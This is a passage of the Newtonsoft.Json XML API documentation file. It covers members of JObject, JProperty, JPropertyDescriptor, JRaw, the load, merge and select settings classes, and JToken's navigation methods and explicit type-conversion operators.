property.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.ContainsKey(System.String)\">\n            <summary>\n            Determines whether the JSON object has the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns><c>true</c> if the JSON object has the specified property name; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Remove(System.String)\">\n            <summary>\n            Removes the property with the specified name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns><c>true</c> if item was successfully removed; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.TryGetValue(System.String,Newtonsoft.Json.Linq.JToken@)\">\n            <summary>\n            Tries to get the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"value\">The value.</param>\n            <returns><c>true</c> if a value was successfully retrieved; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetEnumerator\">\n            <summary>\n            Returns an enumerator that can be used to iterate through the collection.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerator`1\"/> that can be used to iterate through the collection.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.OnPropertyChanged(System.String)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JObject.PropertyChanged\"/> event with the provided arguments.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.OnPropertyChanging(System.String)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JObject.PropertyChanging\"/> event with the provided arguments.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetMetaObject(System.Linq.Expressions.Expression)\">\n            <summary>\n            Returns the <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> responsible for binding operations performed on this object.\n            </summary>\n            <param name=\"parameter\">The expression tree representation of the runtime value.</param>\n            <returns>\n            The <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> to bind this object.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JProperty\">\n            <summary>\n            Represents a JSON property.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.Name\">\n            <summary>\n            Gets the property name.\n            </summary>\n            <value>The property name.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.Value\">\n            <summary>\n            Gets or sets the property value.\n            </summary>\n            <value>The property value.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.#ctor(Newtonsoft.Json.Linq.JProperty)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> object to copy from.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.#ctor(System.String,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> class.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <param name=\"content\">The property content.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.#ctor(System.String,System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> class.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <param name=\"content\">The property content.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JPropertyDescriptor\">\n            <summary>\n            Represents a view of a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JPropertyDescriptor\"/> class.\n            </summary>\n            <param name=\"name\">The name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.CanResetValue(System.Object)\">\n            <summary>\n            When overridden in a derived class, returns whether resetting an object changes its value.\n            </summary>\n            <returns>\n            <c>true</c> if resetting the component changes its value; otherwise, <c>false</c>.\n            </returns>\n            <param name=\"component\">The component to test for reset capability.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.GetValue(System.Object)\">\n            <summary>\n            When overridden in a derived class, gets the current value of the property on a component.\n            </summary>\n            <returns>\n            The value of a property for a given component.\n            </returns>\n            <param name=\"component\">The component with the property for which to retrieve the value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.ResetValue(System.Object)\">\n            <summary>\n            When overridden in a derived class, resets the value for this property of the component to the default value.\n            </summary>\n            <param name=\"component\">The component with the property value that is to be reset to the default value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.SetValue(System.Object,System.Object)\">\n            <summary>\n            When overridden in a derived class, sets the value of the component to a different value.\n            </summary>\n            <param name=\"component\">The component with the property value that is to be set.</param>\n            <param name=\"value\">The new value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.ShouldSerializeValue(System.Object)\">\n            <summary>\n            When overridden in a derived class, determines a value indicating whether the value of this property needs to be persisted.\n            </summary>\n            <returns>\n            <c>true</c> if the property should be persisted; otherwise, <c>false</c>.\n            </returns>\n            <param name=\"component\">The component with the property to be examined for persistence.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JPropertyDescriptor.ComponentType\">\n            <summary>\n            When overridden in a derived class, gets the type of the component this property is bound to.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Type\"/> that represents the type of component this property is bound to.\n            When the <see cref=\"M:System.ComponentModel.PropertyDescriptor.GetValue(System.Object)\"/> or\n            <see cref=\"M:System.ComponentModel.PropertyDescriptor.SetValue(System.Object,System.Object)\"/>\n            methods are invoked, the object specified might be an instance of this type.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JPropertyDescriptor.IsReadOnly\">\n            <summary>\n            When overridden in a derived class, gets a value indicating whether this property is read-only.\n            </summary>\n            <returns>\n            <c>true</c> if the property is read-only; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JPropertyDescriptor.PropertyType\">\n            <summary>\n            When overridden in a derived class, gets the type of the property.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Type\"/> that represents the type of the property.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JPropertyDescriptor.NameHashCode\">\n            <summary>\n            Gets the hash code for the name of the member.\n            </summary>\n            <value></value>\n            <returns>\n            The hash code for the name of the member.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JRaw\">\n            <summary>\n            Represents a raw JSON string.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.#ctor(Newtonsoft.Json.Linq.JRaw)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> class.\n            </summary>\n            <param name=\"rawJson\">The raw json.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.Create(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Creates an instance of <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> with the content of the reader's current token.\n            </summary>\n            <param name=\"reader\">The reader.</param>\n            <returns>An instance of <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> with the content of the reader's current token.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\">\n            <summary>\n            Specifies the settings used when loading JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JsonLoadSettings.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> class.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonLoadSettings.CommentHandling\">\n            <summary>\n            Gets or sets how JSON comments are handled when loading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.Linq.CommentHandling.Ignore\" />.\n            </summary>\n            <value>The JSON comment handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonLoadSettings.LineInfoHandling\">\n            <summary>\n            Gets or sets how JSON line info is handled when loading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.Linq.LineInfoHandling.Load\" />.\n            </summary>\n            <value>The JSON line info handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonLoadSettings.DuplicatePropertyNameHandling\">\n            <summary>\n            Gets or sets how duplicate property names in JSON objects are handled when loading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Replace\" />.\n            </summary>\n            <value>The JSON duplicate property name handling.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\">\n            <summary>\n            Specifies the settings used when merging JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JsonMergeSettings.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\"/> class.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonMergeSettings.MergeArrayHandling\">\n            <summary>\n            Gets or sets the method used when merging JSON arrays.\n            </summary>\n            <value>The method used when merging JSON arrays.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonMergeSettings.MergeNullValueHandling\">\n            <summary>\n            Gets or sets how null value properties are merged.\n            </summary>\n            <value>How null value properties are merged.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonMergeSettings.PropertyNameComparison\">\n            <summary>\n            Gets or sets the comparison used to match property names while merging.\n            The exact property name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <value>The comparison used to match property names while merging.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JsonSelectSettings\">\n            <summary>\n            Specifies the settings used when selecting JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonSelectSettings.ErrorWhenNoMatch\">\n            <summary>\n            Gets or sets a flag that indicates whether an error should be thrown if\n            no tokens are found when evaluating part of the expression.\n            </summary>\n            <value>\n            A flag that indicates whether an error should be thrown if\n            no tokens are found when evaluating part of the expression.\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Represents an abstract JSON token.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.EqualityComparer\">\n            <summary>\n            Gets a comparer that can compare two tokens for value equality.\n            </summary>\n            <value>A <see cref=\"T:Newtonsoft.Json.Linq.JTokenEqualityComparer\"/> that can compare two nodes for value equality.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Parent\">\n            <summary>\n            Gets or sets the parent.\n            </summary>\n            <value>The parent.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Root\">\n            <summary>\n            Gets the root <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The root <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.HasValues\">\n            <summary>\n            Gets a value indicating whether this token has child tokens.\n            </summary>\n            <value>\n            \t<c>true</c> if this token has child values; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.DeepEquals(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Compares the values of two tokens, including the values of all descendant tokens.\n            </summary>\n            <param name=\"t1\">The first <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <param name=\"t2\">The second <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <returns><c>true</c> if the tokens are equal; otherwise <c>false</c>.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Next\">\n            <summary>\n            Gets the next sibling token of this node.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the next sibling token.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Previous\">\n            <summary>\n            Gets the previous sibling token of this node.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the previous sibling token.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Path\">\n            <summary>\n            Gets the path of the JSON token. \n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AddAfterSelf(System.Object)\">\n            <summary>\n            Adds the specified content immediately after this token.\n            </summary>\n            <param name=\"content\">A content object that contains simple content or a collection of content objects to be added after this token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AddBeforeSelf(System.Object)\">\n            <summary>\n            Adds the specified content immediately before this token.\n            </summary>\n            <param name=\"content\">A content object that contains simple content or a collection of content objects to be added before this token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Ancestors\">\n            <summary>\n            Returns a collection of the ancestor tokens of this token.\n            </summary>\n            <returns>A collection of the ancestor tokens of this token.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AncestorsAndSelf\">\n            <summary>\n            Returns a collection of tokens that contain this token, and the ancestors of this token.\n            </summary>\n            <returns>A collection of tokens that contain this token, and the ancestors of this token.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AfterSelf\">\n            <summary>\n            Returns a collection of the sibling tokens after this token, in document order.\n            </summary>\n            <returns>A collection of the sibling tokens after this tokens, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.BeforeSelf\">\n            <summary>\n            Returns a collection of the sibling tokens before this token, in document order.\n            </summary>\n            <returns>A collection of the sibling tokens before this token, in document order.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Value``1(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key converted to the specified type.\n            </summary>\n            <typeparam name=\"T\">The type to convert the token to.</typeparam>\n            <param name=\"key\">The token key.</param>\n            <returns>The converted token value.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.First\">\n            <summary>\n            Get the first child token of this token.\n            </summary>\n            <value>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the first child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Last\">\n            <summary>\n            Get the last child token of this token.\n            </summary>\n            <value>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the last child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Children\">\n            <summary>\n            Returns a collection of the child tokens of this token, in document order.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the child tokens of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Children``1\">\n            <summary>\n            Returns a collection of the child tokens of this token, in document order, filtered by the specified type.\n            </summary>\n            <typeparam name=\"T\">The type to filter the child tokens on.</typeparam>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> containing the child tokens of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Values``1\">\n            <summary>\n            Returns a collection of the child values of this token, in document order.\n            </summary>\n            <typeparam name=\"T\">The type to convert the values to.</typeparam>\n            <returns>A <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> containing the child values of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Remove\">\n            <summary>\n            Removes this token from its parent.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Replace(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Replaces this token with the specified token.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToString\">\n            <summary>\n            Returns the indented JSON for this token.\n            </summary>\n            <remarks>\n            <c>ToString()</c> returns a non-JSON string value for tokens with a type of <see cref=\"F:Newtonsoft.Json.Linq.JTokenType.String\"/>.\n            If you want the JSON for all token types then you should use <see cref=\"M:Newtonsoft.Json.Linq.JToken.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\"/>.\n            </remarks>\n            <returns>\n            The indented JSON for this token.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToString(Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Returns the JSON for this token using the given formatting and converters.\n            </summary>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>s which will be used when writing the token.</param>\n            <returns>The JSON for this token using the given formatting and converters.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Boolean\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.DateTimeOffset\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Boolean}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Int64\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.DateTime}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.DateTimeOffset}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Decimal}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Double}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Char}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Int32\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Int16\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Int16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.UInt16\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.UInt16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Char\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Char\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Byte\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Byte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.SByte\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.SByte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Int32}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> .\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Int16}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.UInt16}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Byte}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member 